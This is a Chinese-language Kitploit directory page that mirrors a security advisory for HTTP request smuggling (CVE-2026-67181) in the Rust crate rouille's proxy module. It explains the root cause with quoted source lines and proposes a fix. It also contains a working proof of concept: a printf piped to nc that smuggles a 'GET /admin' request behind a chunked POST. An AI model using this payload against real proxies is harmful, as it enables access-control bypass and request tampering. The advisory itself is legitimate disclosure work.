Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille- — 安全公告:通过 Transfer-Encoding 反同步实现的 HTTP 请求走私(rouille) | Kitploit
工具/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
漏洞分析漏洞利用Web应用程序漏洞利用Web安全
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

安全公告:通过 Transfer-Encoding 反同步实现的 HTTP 请求走私(rouille)

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
131个月前尚未审核
分享

安全公告:通过 Transfer-Encoding 去同步实现的 HTTP 请求走私(rouille)

分配的 CVE ID: CVE-2026-67181

摘要

rouille::proxy::proxy 将客户端的 Transfer-Encoding 头原样转发给后端,但写入的请求体却是 tiny_http 已经去分块后的内容。它从不自行生成 Content-Length。后端被告知请求体是分块(chunked)的,收到的却是未分块的字节,因此决定后端认为请求体在哪里结束的是客户端,而不是 rouille。

受影响版本

仓库 URL:https://github.com/tomaka/rouille

首次受影响0.3.3(2016-12-03),即引入 src/proxy.rs 的版本
最后受影响3.6.2(2023-04-24),即当前发布版本
不受影响0.3.2 及更早版本,它们没有代理模块
已修复版本撰写本文时尚无修复版本

src/proxy.rs 在 3.6.2 标签与当前 master 之间逐字节相同。只有调用 proxy::proxy 或 proxy::full_proxy 的应用程序受影响。

严重性

CWE-444(HTTP 请求的不一致解释)。

CVSS 4.0 基础评分 6.3(中危) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

威胁模型

远程、未认证的客户端向充当反向代理的 rouille 应用程序发送原始 HTTP。无需凭据或用户交互。

影响取决于后端。无论 Connection: close 如何都进行流水线处理的后端,以及位于 rouille 与源站之间的任何连接池中间件,都会对走私的请求进行处理。遵守 Connection: close 的后端,其最终收到的请求体也会与客户端发送的、以及 rouille 观测到的请求体不同。

根本原因

tiny_http 在存在任何 Transfer-Encoding 头时都会去分块,并丢弃 Content-Length。

tiny_http-0.12.0/src/request.rs,第 149 至 159 行:

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs,第 218 至 221 行:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

rouille/src/proxy.rs 随后转发除 Connection 之外的所有头,并复制解码后的请求体。第 167 至 174 行:

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

客户端的 Transfer-Encoding: chunked 在第 171 行被保留并继续传递。第 174 行写入的是 Decoder 生成的明文。由于从未写入 Content-Length,后端没有其他可用的分帧依据,便会对攻击者选择的明文应用分块解析。

概念验证

第 1 步:在 8001 端口启动一个原始监听器作为后端,并显示 rouille 发送的字节。

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

第 2 步:在 8000 端口启动一个 rouille 前端。

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

第 3 步:发送一个正确分块的请求,其解码后的请求体本身是一个立即结束的分块流,随后再跟第二个请求。这个唯一分块的长度为 0x3d = 61 字节。

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

结果:第 1 步中的监听器显示 rouille 声明使用分块分帧,然后发送明文:

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

遵守 Transfer-Encoding: chunked 的后端会读取分块大小行 0,据此判断请求体为空,并将剩余的 56 字节解析为一个新请求。

影响

后端看到的请求体既不同于客户端发送的字节,也不同于 rouille 读取到的字节。任何对请求体进行记录、审计或镜像的上游组件,都会记录到与后端实际处理内容不同的内容。

当后端不顾 Connection: close 仍然进行流水线处理,或者 rouille 与源站之间存在连接池中间件时,尾部字节就会变成第二个请求,其方法和路径由攻击者选定。

客户端的 Content-Length 也会被转发,尽管 tiny_http 忽略了它,因此一个优先采用 Content-Length 而非 Transfer-Encoding 的后端会直接产生 CL.TE 去同步。

修复措施

不要转发那些描述 rouille 已经解码的请求体的分帧头。在 src/proxy.rs 中,扩展第 167 行的跳过逻辑:

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

然后发出与实际写入内容匹配的分帧:缓存请求体并发送准确的 Content-Length,或者自行重新分块并发送 Transfer-Encoding: chunked,然后再写第 173 行的终止 \r\n\r\n。

下载工具